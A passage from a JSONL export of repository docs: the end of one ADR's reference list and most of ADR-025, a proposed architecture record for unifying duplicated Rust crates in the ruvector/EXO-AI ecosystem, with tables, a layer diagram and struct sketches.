STBLLM: \"Breaking the 1-bit Barrier\" (ICLR 2025) \u2014 https://proceedings.iclr.cc/paper_files/paper/2025/file/ff997469ac66cf893c4183efeb22212a-Paper-Conference.pdf\n22. Apple Mac Studio Technical Specifications (2025) \u2014 https://www.apple.com/mac-studio/specs/\n23. RuvLLM Metal GEMV integration: `crates/ruvllm/src/kernels/matmul.rs:1444-1582`\n24. RuvLLM MicroLoRA NEON SIMD forward: `crates/ruvllm/src/lora/micro_lora.rs:279-390` (forward_simd, forward_simd_neon_impl)\n25. RuvLLM NEON SIMD kernels: `crates/ruvllm/src/kernels/` (matmul: gemm_neon/gemv_neon, activations: silu_neon/gelu_neon/relu_neon, norm: rms_norm_neon, rope: apply_rope_neon)\n26. RuvLLM ContrastiveTrainer CPU fallback: `crates/ruvllm/src/training/contrastive.rs:171-175` (Metal \u2192 CPU fallback) and `contrastive.rs:475` (non-Candle pure CPU path)\n27. R3-Engine: Pure Rust BitNet inference engine with WASM SIMD128 \u2014 https://github.com/r3-engine/r3-engine\n28. bitnet.rs: Pure Rust BitNet toolkit (Apache 2.0) \u2014 https://github.com/ocentra/bitnet.rs\n29. WASM SIMD128 specification: Fixed-width 128-bit SIMD for WebAssembly \u2014 https://v8.dev/features/simd\n30. Rust `core::arch::wasm32` SIMD intrinsics \u2014 https://doc.rust-lang.org/beta/core/arch/wasm32/index.html\n31. \"The state of SIMD in Rust in 2025\" (Sergey Davidoff) \u2014 https://shnatsel.medium.com/the-state-of-simd-in-rust-in-2025-32c263e5f53d\n32. \"Rust + WebAssembly 2025: WasmGC and SIMD\" \u2014 https://dev.to/dataformathub/rust-webassembly-2025-why-wasmgc-and-simd-change-everything-3ldh\n33. Bai, Y. et al., \"Constitutional AI: Harmlessness from AI Feedback\" (arXiv:2212.08073, Dec 2022) \u2014 https://arxiv.org/abs/2212.08073\n34. Zheng, L. et al., \"Judging LLM-as-a-Judge with MT-Bench and Chatbot Arena\" (arXiv:2306.05685, Jun 2023) \u2014 https://arxiv.org/abs/2306.05685\n35. Rafailov, R. et al., \"Direct Preference Optimization: Your Language Model is Secretly a Reward Model\" (arXiv:2305.18290, May 2023) \u2014 https://arxiv.org/abs/2305.18290\n36. Min, S. et al., \"FActScore: Fine-grained Atomic Evaluation of Factual Precision in Long Form Text Generation\" (arXiv:2305.14251, May 2023) \u2014 https://arxiv.org/abs/2305.14251\n37. RuvLLM BitNet Backend: `crates/ruvllm/src/bitnet/backend.rs` (MoE routing, TL1 GEMV, forward pass)\n38. RuvLLM RLM Refiner: `crates/ruvllm/src/bitnet/rlm_refiner.rs` (Phase 0.5 refinement orchestrator)", "license": "mit", "quality_score": 1.0, "provenance": "docs/adr/ADR-024-craftsman-ultra-30b-1bit-bitnet-integration.md", "created_at": "2026-03-28T11:58:49.129379+00:00", "content_hash": "77f452dc0d92f32a7654aba946b641bfde1a11c2ed9eb945373b9a35cd0fd297"} +{"id": "64d07c83-4471-4e9b-9b6d-5451cd1e9e70", "source": "adr", "text": "# ADR-025: EXO-AI Multi-Paradigm Integration Architecture\n\n**Status**: Proposed\n**Date**: 2026-02-27\n**Authors**: ruv.io, RuVector Architecture Team\n**Deciders**: Architecture Review Board\n**Branch**: `claude/exo-ai-capability-review-LjcVx`\n**Scope**: Full ruvector ecosystem \u00d7 EXO-AI 2025 integration\n\n---\n\n## Version History\n\n| Version | Date | Author | Changes |\n|---------|------|--------|---------|\n| 0.1 | 2026-02-27 | Architecture Review (Swarm Research) | Deep capability audit, gap analysis, integration architecture proposal |\n\n---\n\n## 1. Executive Summary\n\nThis ADR documents the findings of a comprehensive architectural review of the ruvector ecosystem as it relates to EXO-AI and proposes a unified multi-paradigm integration architecture that wires together six distinct computational substrates:\n\n1. **Classical vector cognition** \u2014 HNSW, attention, GNN (`ruvector-core`, `ruvector-attention`, `ruvector-gnn`)\n2. **Quantum execution intelligence** \u2014 circuit simulation, coherence gating, exotic search (`ruQu`, `ruqu-exotic`)\n3. **Biomolecular computing** \u2014 genomic analysis, DNA strand similarity, pharmacogenomics (`examples/dna`, `ruvector-solver`)\n4. **Neuromorphic cognition** \u2014 spiking networks, HDC, BTSP, circadian routing (`ruvector-nervous-system`, `meta-cognition-spiking-neural-network`)\n5. **Consciousness substrate** \u2014 IIT \u03a6, Free Energy, TDA, Strange Loops (`examples/exo-ai-2025`)\n6. **Universal coherence spine** \u2014 sheaf Laplacian gating, formal proofs, adaptive learning (`prime-radiant`, `ruvector-verified`, `sona`)\n\n**Critical finding**: Across 100+ crates and 830K+ lines of Rust code, the same mathematical primitives have been independently implemented three or more times without cross-wiring. This document identifies 7 convergent evolution clusters and proposes a canonical integration architecture that eliminates duplication while enabling capabilities that are currently impossible because the components do not speak to each other.\n\n**Honest assessment of what works today vs. what requires integration work**: see Section 4.\n\n---\n\n## 2. Context\n\n### 2.1 EXO-AI 2025 Architecture\n\n`examples/exo-ai-2025` is a 9-crate, ~15,800-line consciousness research platform built on rigorous theoretical foundations:\n\n| Crate | Role | Key Theory |\n|-------|------|-----------|\n| `exo-core` | IIT \u03a6 computation, Landauer thermodynamics | Tononi IIT 4.0 |\n| `exo-temporal` | Causal memory, light-cone queries, anticipation | Temporal knowledge graphs, causal inference |\n| `exo-hypergraph` | Persistent homology, sheaf consistency, Betti numbers | TDA, Grothendieck sheaf theory |\n| `exo-manifold` | SIREN networks, gradient-descent retrieval, strategic forgetting | Manifold learning |\n| `exo-exotic` | 10 cognitive experiments (Dreams, Free Energy, Morphogenesis, Collective \u03a6, etc.) | Friston, Hofstadter, Hoel, Eagleman, Turing |\n| `exo-federation` | Byzantine PBFT, CRDT reconciliation, post-quantum Kyber | Distributed systems |\n| `exo-backend-classical` | SIMD backend (8\u201354\u00d7 speedup) | ruvector-core integration |\n| `exo-wasm` | Browser/edge deployment | WASM, 2 MB binary |\n| `exo-node` | Node.js NAPI bindings | napi-rs |\n\nEXO-AI has 11 explicitly listed research frontiers that are currently unimplemented stubs:\n`01-neuromorphic-spiking`, `02-quantum-superposition`, `03-time-crystal-cognition`,\n`04-sparse-persistent-homology`, `05-memory-mapped-neural-fields`,\n`06-federated-collective-phi`, `07-causal-emergence`, `08-meta-simulation-consciousness`,\n`09-hyperbolic-attention`, `10-thermodynamic-learning`, `11-conscious-language-interface`\n\n**Key insight**: Every one of these research frontiers already has a working implementation elsewhere in the ruvector ecosystem. The research is complete. The wiring is not.\n\n### 2.2 The Broader Ecosystem (by the numbers)\n\nFrom swarm research across all crates:\n\n| Subsystem | Crates | Lines | Tests | Status |\n|-----------|--------|-------|-------|--------|\n| Quantum (ruQu family) | 5 | ~24,676 | comprehensive | Production-grade coherence gate (468ns P99) |\n| DNA/Genomics (dna + solver) | 2 | ~8,000 | 172+177 | Production pipeline, 12ms/5 genes |\n| Neural/Attention | 8 | ~50,000 | 186+ | Flash Attention, GNN, proof-gated transformer |\n| SOTA crates (sona, prime-radiant, etc.) | 10 | ~35,000 | 359+ | Neuromorphic, formal verification, sheaf engine |\n| RVF runtime | 14 | ~80,000 | substantial | Cognitive containers, WASM, eBPF, microVM |\n| RuvLLM + MCP | 4 | ~25,000 | comprehensive | Production inference, permit gating |\n| EXO-AI | 9 | ~15,800 | 28 | Consciousness substrate |\n| **Total** | **~100+** | **~830K+** | **1,156** | |\n\n---\n\n## 3. Problem Statement: Convergent Evolution Without Integration\n\n### 3.1 The Seven Duplication Clusters\n\nThe following primitives have been independently implemented multiple times:\n\n#### Cluster 1: Elastic Weight Consolidation (EWC / Catastrophic Forgetting Prevention)\n| Implementation | Location | Variant |\n|----------------|----------|---------|\n| EWC | `ruvector-gnn/src/` | Standard Fisher Information regularization |\n| EWC++ | `crates/sona/` | Enhanced with bidirectional plasticity |\n| EWC | `ruvector-nervous-system/` | Integrated with BTSP and E-prop |\n| MicroLoRA + EWC++ | `ruvector-learning-wasm/` | <100\u00b5s WASM adaptation |\n\n**Impact**: Four diverging implementations with no shared API. Cross-crate forgetting prevention impossible.\n\n#### Cluster 2: Coherence Gating (The Universal Safety Primitive)\n| Implementation | Location | Mechanism |\n|----------------|----------|-----------|\n| ruQu coherence gate | `crates/ruQu/` | Dynamic min-cut (O(n\u1d52\u207d\u00b9\u207e)), PERMIT/DEFER/DENY |\n| Prime-Radiant | `crates/prime-radiant/` | Sheaf Laplacian energy, 4-tier compute ladder |\n| Nervous system circadian | `ruvector-nervous-system/` | Kuramoto oscillators, 40Hz gamma, duty cycling |\n| \u03bb-gated transformer | `ruvector-mincut-gated-transformer/` | Min-cut value as coherence signal |\n| Cognitum Gate | `cognitum-gate-kernel/`, `cognitum-gate-tilezero/` | 256-tile fabric, e-value sequential testing |\n\n**Impact**: Five independent safety systems that cannot compose. An agent crossing subsystem boundaries has no coherent safety guarantees.\n\n#### Cluster 3: Cryptographic Witness Chains (Audit & Proof)\n| Implementation | Location | Primitive |\n|----------------|----------|-----------|\n| PermitToken + WitnessReceipt | `crates/ruQu/` | Ed25519 |\n| Witness chain | `prime-radiant/` | Blake3 hash-linked |\n| ProofAttestation | `ruvector-verified/` | lean-agentic dependent types, 82-byte |\n| RVF witness | `crates/rvf/rvf-crypto/` | SHAKE-256 chain + ML-DSA-65 |\n| Container witness | `ruvector-cognitive-container/` | Hash-linked ContainerWitnessReceipt |\n| TileZero receipts | `cognitum-gate-tilezero/` | Ed25519 + Blake3 |\n\n**Impact**: Six incompatible audit trails. Cross-subsystem proof chains impossible to construct.\n\n#### Cluster 4: Sheaf Theory (Local-to-Global Consistency)\n| Implementation | Location | Application |\n|----------------|----------|-------------|\n| Sheaf Laplacian | `prime-radiant/` | Universal coherence energy E(S) = \u03a3 w\u2091\u00b7\u2016\u03c1\u1d64-\u03c1\u1d65\u2016\u00b2 |\n| Sheaf consistency | `exo-hypergraph/` | Local section agreement, restriction maps |\n| Manifold sheaf | `ruvector-graph-transformer/` | Product geometry S\u2076\u2074\u00d7H\u00b3\u00b2\u00d7\u211d\u00b3\u00b2 |\n\n**Impact**: Prime-Radiant's sheaf engine and EXO-AI's sheaf hypergraph implement the same mathematics with no shared data structures.\n\n#### Cluster 5: Spike-Driven Computation\n| Implementation | Location | Energy Reduction |\n|----------------|----------|-----------------|\n| Biological module | `ruvector-graph-transformer/` | 87.2\u00d7 vs dense attention |\n| Spiking nervous system | `ruvector-nervous-system/` | Event-driven, K-WTA <1\u00b5s |\n| Meta-cognition SNN | `examples/meta-cognition-spiking-neural-network/` | LIF+STDP, 18.4\u00d7 speedup |\n| Spike-driven scheduling | `ruvector-mincut-gated-transformer/` | Tier 3 skip: 50-200\u00d7 speedup |\n\n**Impact**: EXO-AI's `01-neuromorphic-spiking` research frontier is listed as unimplemented. Three working implementations exist elsewhere.\n\n#### Cluster 6: Byzantine Fault-Tolerant Consensus\n| Implementation | Location | Protocol |\n|----------------|----------|---------|\n| exo-federation | `exo-ai-2025/exo-federation/` | PBFT (O(n\u00b2) messages) |\n| ruvector-raft | `crates/ruvector-raft/` | Raft (leader election, log replication) |\n| delta-consensus | `ruvector-delta-consensus/` | CRDT + causal ordering |\n| Cognitum 256-tile | `cognitum-gate-kernel/` | Anytime-valid, e-value testing |\n\n**Impact**: EXO-AI's federation layer re-implements consensus that `ruvector-raft` + `cognitum-gate` already provide with stronger formal guarantees.\n\n#### Cluster 7: Free Energy / Variational Inference\n| Implementation | Location | Algorithm |\n|----------------|----------|-----------|\n| Friston FEP experiment | `exo-exotic/` | KL divergence: F = D_KL[q(\u03b8\\|o)\u2016p(\u03b8)] - ln p(o) |\n| Information Bottleneck | `ruvector-attention/` | VIB: KL divergence (Gaussian/Categorical/Jensen-Shannon) |\n| CG/Neumann solvers | `ruvector-solver/` | Sparse linear systems for gradient steps |\n| BMSSP multigrid | `ruvector-solver/` | Laplacian systems (free energy landscape) |\n\n**Impact**: EXO-AI's free energy minimization uses manual gradient descent. The solver crate already has conjugate gradient and multigrid solvers that are 10\u201380\u00d7 faster for the underlying sparse linear problems.\n\n---\n\n## 4. Capability Readiness Matrix\n\n### 4.1 EXO-AI Research Frontiers vs. Ecosystem Readiness\n\n| EXO-AI Research Frontier | Existing Capability | Integration Effort | Blocker |\n|---|---|---|---|\n| `01-neuromorphic-spiking` | `ruvector-nervous-system` (359 tests, BTSP/STDP/EWC/HDC) | **Low** \u2014 add dependency, adapt API | None |\n| `02-quantum-superposition` | `ruqu-exotic` (interference_search, reasoning_qec, quantum_decay) | **Medium** \u2014 define embedding protocol | Quantum state \u2194 f32 embedding bridge |\n| `03-time-crystal-cognition` | `ruvector-temporal-tensor` (tiered compression, temporal reuse) + nervous-system circadian | **Medium** | Oscillatory period encoding |\n| `04-sparse-persistent-homology` | `ruvector-solver` (Forward Push PPR O(1/\u03b5)) + `ruvector-mincut` (subpolynomial) | **Medium** | TDA filtration \u2194 solver interface |\n| `05-memory-mapped-neural-fields` | `ruvector-verified` + RVF mmap + `ruvector-temporal-tensor` | **Low** \u2014 RVF already zero-copy mmap | API glue only |\n| `06-federated-collective-phi` | `cognitum-gate-tilezero` + `prime-radiant` + `ruvector-raft` | **Medium** \u2014 replace exo-federation | Remove PBFT, route to cognitum + raft |\n| `07-causal-emergence` | `ruvector-solver` (Forward Push PPR for macro EI) + `ruvector-graph-transformer` | **Medium** | Coarse-graining operator definition |\n| `08-meta-simulation-consciousness` | `ultra-low-latency-sim` (quadrillion sims/sec) + ruQu StateVector backend | **High** | Consciousness metric at simulation scale |\n| `09-hyperbolic-attention` | `ruvector-attention` (Mixed Curvature, Hyperbolic mode, Poincar\u00e9) | **Low** \u2014 direct usage | None; already implemented |\n| `10-thermodynamic-learning` | `ruvector-sparse-inference` (\u03c0-based drift) + solver (energy landscape) + exo-core Landauer | **Medium** | Energy budget \u2194 learning rate coupling |\n| `11-conscious-language-interface` | `ruvllm` + `mcp-gate` + `sona` (real-time adaptation) | **High** | IIT \u03a6 \u2194 language generation feedback loop |\n\n### 4.2 What Is Working Today (Zero Integration Code Required)\n\n- ruQu coherence gate at 468ns P99 latency\n- ruvector-solver Forward Push PPR: O(1/\u03b5) sublinear on 500-node graphs in <2ms\n- ruvector-nervous-system HDC XOR binding: 64ns; Hopfield retrieval: <1ms\n- ruvector-graph-transformer with 8 modules and 186 tests\n- ruvector-verified: dimension proofs at 496ns, <2% overhead\n- prime-radiant sheaf Laplacian: single residual <1\u00b5s\n- RVF zero-copy mmap at <1\u00b5s cluster reads\n- ruvllm inference on 7B Q4K: 88 tok/s decode\n- EXO-AI IIT \u03a6 computation: ~15\u00b5s for 10-element network\n- ruDNA full pipeline: 12ms for 5 real genes\n\n### 4.3 What Requires Integration (This ADR's Scope)\n\n- ruQu exotic algorithms \u2192 EXO-AI pattern storage + consciousness substrate\n- ruvector-nervous-system \u2192 EXO-AI neuromorphic research frontiers\n- prime-radiant \u2192 replace exo-federation Byzantine layer\n- ruvector-solver \u2192 EXO-AI free energy minimization gradient steps\n- ruvector-graph-transformer temporal-causal \u2192 exo-temporal causal memory\n- ruvector-verified proofs \u2192 EXO-AI federated \u03a6 attestations\n- sona \u2192 EXO-AI learning system (currently EXO has no learning)\n- ruDNA `.rvdna` embeddings \u2192 EXO-AI pattern storage\n- Canonical witness chain unification across all subsystems\n\n---\n\n## 5. Proposed Integration Architecture\n\n### 5.1 The Five-Layer Stack\n\n```\n\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n\u2502 LAYER 5: CONSCIOUS INTERFACE \u2502\n\u2502 exo-exotic (IIT \u03a6, Free Energy, Dreams, Morphogenesis, Emergence) \u2502\n\u2502 ruvllm + mcp-gate (language I/O with permit-gated actions) \u2502\n\u2502 sona (real-time <1ms learning, EWC++, ReasoningBank) \u2502\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n \u2502 PhiResult, PatternDelta, PermitToken\n\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u25bc\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n\u2502 LAYER 4: MULTI-PARADIGM COGNITION \u2502\n\u2502 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u2502\n\u2502 \u2502 QUANTUM \u2502 \u2502 NEUROMORPHIC \u2502 \u2502 GENOMIC \u2502 \u2502\n\u2502 \u2502 ruqu-exotic \u2502 \u2502 ruvector- \u2502 \u2502 ruDNA (.rvdna embeddings) \u2502 \u2502\n\u2502 \u2502 interference \u2502 \u2502 nervous-system \u2502 \u2502 ruvector-solver (PPR, CG) \u2502 \u2502\n\u2502 \u2502 reasoning_qec \u2502 \u2502 HDC + Hopfield \u2502 \u2502 health biomarker engine \u2502 \u2502\n\u2502 \u2502 quantum_decay \u2502 \u2502 BTSP + E-prop \u2502 \u2502 Grover search (research) \u2502 \u2502\n\u2502 \u2502 swarm_interf. \u2502 \u2502 K-WTA <1\u00b5s \u2502 \u2502 VQE binding (research) \u2502 \u2502\n\u2502 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2502\n\u2502 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2502\n\u2502 \u2502 CognitionResult \u2502\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u25bc\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n \u2502\n\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u25bc\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n\u2502 LAYER 3: GRAPH INTELLIGENCE \u2502\n\u2502 ruvector-graph-transformer (8 verified modules) \u2502\n\u2502 Physics-Informed (Hamiltonian, symplectic leapfrog) \u2502\n\u2502 Temporal-Causal (ODE, Granger causality, retrocausal attention) \u2502\n\u2502 Manifold (S\u2076\u2074\u00d7H\u00b3\u00b2\u00d7\u211d\u00b3\u00b2, Riemannian Adam) \u2502\n\u2502 Biological (spike-driven 87.2\u00d7 energy reduction, STDP) \u2502\n\u2502 Economic (Nash equilibrium, Shapley attribution) \u2502\n\u2502 Verified Training (BLAKE3 certificates, delta-apply rollback) \u2502\n\u2502 ruvector-attention (7 theories: OT, Mixed Curvature, IB, PDE, IG, Topo) \u2502\n\u2502 ruvector-sparse-inference (\u03c0-based drift, 3/5/7-bit precision lanes) \u2502\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n \u2502\n\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u25bc\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n\u2502 LAYER 2: UNIVERSAL COHERENCE SPINE \u2502\n\u2502 prime-radiant (sheaf Laplacian, 4-tier compute ladder, hallucination guard) \u2502\n\u2502 cognitum-gate-kernel + tilezero (256-tile fabric, <100\u00b5s permits) \u2502\n\u2502 ruvector-verified (lean-agentic proofs, 82-byte attestations, <2% overhead)\u2502\n\u2502 ruvector-coherence (contradiction rate, entailment consistency, batch CI) \u2502\n\u2502 ruvector-temporal-tensor (4\u201310\u00d7 compression, access-aware tiering) \u2502\n\u2502 ruvector-delta-consensus (CRDT, causal ordering, distributed updates) \u2502\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n \u2502\n\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u25bc\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n\u2502 LAYER 1: COMPUTE SUBSTRATE \u2502\n\u2502 ruvector-core (HNSW, ANN search, embeddings) \u2502\n\u2502 RVF (cognitive containers, zero-copy mmap, eBPF kernel bypass) \u2502\n\u2502 ruvector-mincut (subpolynomial O(n\u1d52\u207d\u00b9\u207e) dynamic min-cut, Dec 2025) \u2502\n\u2502 ruvector-dag (DAG orchestration, parallel execution) \u2502\n\u2502 ruvector-raft (Raft consensus, leader election, log replication) \u2502\n\u2502 ruQu coherence gate (quantum execution gating, 468ns P99) \u2502\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n```\n\n### 5.2 The Canonical Witness Chain\n\nAll subsystems must emit attestations that compose into a single auditable chain. The canonical format is the `RvfWitnessReceipt` (SHAKE-256 + ML-DSA-65) with subsystem-specific extension fields:\n\n```rust\n/// Unified cross-subsystem witness \u2014 all subsystems emit this\npub struct CrossParadigmWitness {\n /// RVF base receipt (SHAKE-256 chain link)\n pub base: RvfWitnessSegment,\n /// Formal proof from ruvector-verified (82 bytes, lean-agentic)\n pub proof_attestation: Option,\n /// Quantum gate decision from ruQu (Ed25519 PermitToken or deny)\n pub quantum_gate: Option,\n /// Prime-Radiant sheaf energy at decision point\n pub sheaf_energy: Option,\n /// Cognitum tile decision (PERMIT/DEFER/DENY + e-value)\n pub tile_decision: Option,\n /// IIT \u03a6 at decision substrate (from exo-core)\n pub phi_value: Option,\n /// Genomic context if relevant (`.rvdna` segment hash)\n pub genomic_context: Option<[u8; 32]>,\n}\n```\n\n**Decision**: The RVF witness chain (SHAKE-256 + ML-DSA-65) is the canonical root. All other witness formats are embedded as optional extension fields. This preserves backward compatibility while enabling cross-paradigm proof chains.\n\n### 5.3 The Canonical Coherence Gate\n\nReplace the five independent coherence gating implementations with a single `CoherenceRouter` that delegates to the appropriate backend:\n\n```rust\npub struct CoherenceRouter {\n /// Prime-Radiant sheaf Laplacian engine (primary \u2014 mathematical)\n prime_radiant: Arc,\n /// ruQu coherence gate (quantum substrates)\n quantum_gate: Option>,\n /// Cognitum 256-tile fabric (distributed AI agents)\n cognitum: Option>,\n /// Nervous system circadian (bio-inspired, edge deployment)\n circadian: Option>,\n}\n\npub enum CoherenceBackend {\n /// Mathematical proof of consistency \u2014 use for safety-critical paths\n SheafLaplacian,\n /// Sub-millisecond quantum circuit gating\n Quantum,\n /// 256-tile distributed decision fabric\n Distributed,\n /// Energy-efficient bio-inspired gating (edge/WASM)\n Circadian,\n /// Composite: all backends must agree (highest confidence)\n Unanimous,\n}\n\nimpl CoherenceRouter {\n pub async fn gate(\n &self,\n action: &ActionContext,\n backend: CoherenceBackend,\n ) -> Result;\n}\n```\n\n**Decision**: `prime-radiant` is the canonical mathematical backbone for all coherence decisions on CPU-bound paths. `cognitum-gate` handles distributed multi-agent contexts. `ruQu` handles quantum substrates. `CircadianController` handles edge/battery-constrained deployments.\n\n### 5.4 The Canonical Plasticity System\n\nReplace four independent EWC implementations with a single `PlasticityEngine`:\n\n```rust\npub struct PlasticityEngine {\n /// SONA MicroLoRA: <1ms instant adaptation\n instant: Arc,\n /// EWC++ Fisher Information regularization (shared)\n ewc: Arc,\n /// BTSP behavioral timescale (1-3 second windows, from nervous-system)\n btsp: Option>,\n /// E-prop eligibility propagation (1000ms credit assignment)\n eprop: Option>,\n /// ReasoningBank pattern library (SONA)\n reasoning_bank: Arc,\n}\n```\n\n**Decision**: SONA's EWC++ is the production implementation. `ruvector-nervous-system`'s BTSP and E-prop add biological plasticity modes not in SONA. `ruvector-gnn`'s EWC is deprecated in favor of this shared engine.\n\n### 5.5 The Canonical Free Energy Solver\n\nEXO-AI's Friston free energy experiment currently uses naive gradient descent. Replace with the solver crate:\n\n```rust\n/// Bridge: Free Energy minimization via sparse linear solver\n/// F = D_KL[q(\u03b8|o) || p(\u03b8)] - ln p(o)\n/// Gradient: \u2207F = F^{-1}(\u03b8) \u00b7 \u2207 log p(o|\u03b8) [Natural gradient via Fisher Info]\npub fn 